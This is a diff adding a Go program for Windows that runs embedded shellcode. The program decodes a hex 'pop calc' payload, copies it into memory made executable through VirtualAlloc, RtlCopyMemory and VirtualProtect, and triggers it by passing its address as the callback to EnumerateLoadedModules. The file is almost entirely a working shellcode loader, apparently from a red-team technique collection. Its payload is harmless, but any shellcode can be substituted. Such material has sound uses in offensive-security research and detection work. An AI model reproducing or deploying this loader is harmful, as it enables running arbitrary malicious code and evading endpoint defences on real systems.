|
| 1 | +// +build windows |
| 2 | + |
| 3 | +// This technique is semi-unreliable because the shellcode is sometimes executed multiple times |
| 4 | + |
| 5 | +package main |
| 6 | + |
| 7 | +import ( |
| 8 | + // Standard |
| 9 | + |
| 10 | + "encoding/hex" |
| 11 | + "flag" |
| 12 | + "fmt" |
| 13 | + "log" |
| 14 | + "syscall" |
| 15 | + "unsafe" |
| 16 | + |
| 17 | + // Sub Repositories |
| 18 | + "golang.org/x/sys/windows" |
| 19 | +) |
| 20 | + |
| 21 | +func main() { |
| 22 | + verbose := flag.Bool("verbose", false, "Enable verbose output") |
| 23 | + debug := flag.Bool("debug", false, "Enable debug output") |
| 24 | + flag.Parse() |
| 25 | + |
| 26 | + // Pop Calc Shellcode |
| 27 | + shellcode, err := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") |
| 28 | + if err != nil { |
| 29 | + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", err)) |
| 30 | + } |
| 31 | + |
| 32 | + if *debug { |
| 33 | + fmt.Println("[DEBUG]Calling VirtualAlloc with PAGE_READWRITE...") |
| 34 | + } |
| 35 | + addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) |
| 36 | + |
| 37 | + if errVirtualAlloc != nil { |
| 38 | + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) |
| 39 | + } |
| 40 | + |
| 41 | + if addr == 0 { |
| 42 | + log.Fatal("[!]VirtualAlloc failed and returned 0") |
| 43 | + } |
| 44 | + |
| 45 | + if *verbose { |
| 46 | + fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode))) |
| 47 | + } |
| 48 | + |
| 49 | + if *debug { |
| 50 | + fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory...") |
| 51 | + } |
| 52 | + |
| 53 | + ntdll := windows.NewLazySystemDLL("ntdll.dll") |
| 54 | + RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") |
| 55 | + |
| 56 | + _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) |
| 57 | + |
| 58 | + if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." { |
| 59 | + log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error())) |
| 60 | + } |
| 61 | + |
| 62 | + if *verbose { |
| 63 | + fmt.Println("[-]Shellcode copied to memory") |
| 64 | + } |
| 65 | + |
| 66 | + if *debug { |
| 67 | + fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ...") |
| 68 | + } |
| 69 | + var oldProtect uint32 |
| 70 | + errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect) |
| 71 | + if errVirtualProtect != nil { |
| 72 | + log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error())) |
| 73 | + } |
| 74 | + if *verbose { |
| 75 | + fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ") |
| 76 | + } |
| 77 | + |
| 78 | + if *debug { |
| 79 | + fmt.Println("[DEBUG]Calling GetCurrentProcess...") |
| 80 | + } |
| 81 | + kernel32 := windows.NewLazySystemDLL("kernel32") |
| 82 | + GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") |
| 83 | + // HANDLE GetCurrentProcess(); |
| 84 | + // https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentprocess |
| 85 | + handle, _, err := GetCurrentProcess.Call() |
| 86 | + if err != syscall.Errno(0) { |
| 87 | + log.Fatal(fmt.Sprintf("[!]Error calling GetCurrentProcess:\r\n%s", err)) |
| 88 | + } |
| 89 | + |
| 90 | + if *debug { |
| 91 | + fmt.Println("[DEBUG]Calling EnumerateLoadedModules...") |
| 92 | + } |
| 93 | + |
| 94 | + dbghelp := windows.NewLazySystemDLL("Dbghelp") |
| 95 | + enumerateLoadedModules := dbghelp.NewProc("EnumerateLoadedModules") |
| 96 | + // BOOL IMAGEAPI EnumerateLoadedModules( |
| 97 | + // HANDLE hProcess, |
| 98 | + // PENUMLOADED_MODULES_CALLBACK EnumLoadedModulesCallback, |
| 99 | + // PVOID UserContext |
| 100 | + // ); |
| 101 | + // https://docs.microsoft.com/en-us/windows/win32/api/dbghelp/nf-dbghelp-enumerateloadedmodules |
| 102 | + _, _, err = enumerateLoadedModules.Call(handle, addr, 0) |
| 103 | + if err != syscall.Errno(0) { |
| 104 | + log.Fatal(fmt.Sprintf("[!]Error calling EnumerateLoadedModules:\r\n%s", err)) |
| 105 | + } |
| 106 | + |
| 107 | + if *verbose { |
| 108 | + fmt.Println("[+]Shellcode executed") |
| 109 | + } |
| 110 | +} |
| 111 | + |
| 112 | +// BOOL PenumloadedModulesCallback( |
| 113 | +// PCSTR ModuleName, |
| 114 | +// ULONG ModuleBase, |
| 115 | +// ULONG ModuleSize, |
| 116 | +// PVOID UserContext |
| 117 | +// ) |
| 118 | + |
| 119 | +type PENUMLOADED_MODULES_CALLBACK struct { |
| 120 | + ModuleName uintptr // The name of the enumerated module |
| 121 | + ModuleBase uintptr // The base address of the module |
| 122 | + ModuleSize uintptr // The size of the module, in bytes |
| 123 | + UserContext uintptr // Optional user-defined data |
| 124 | +} |
0 commit comments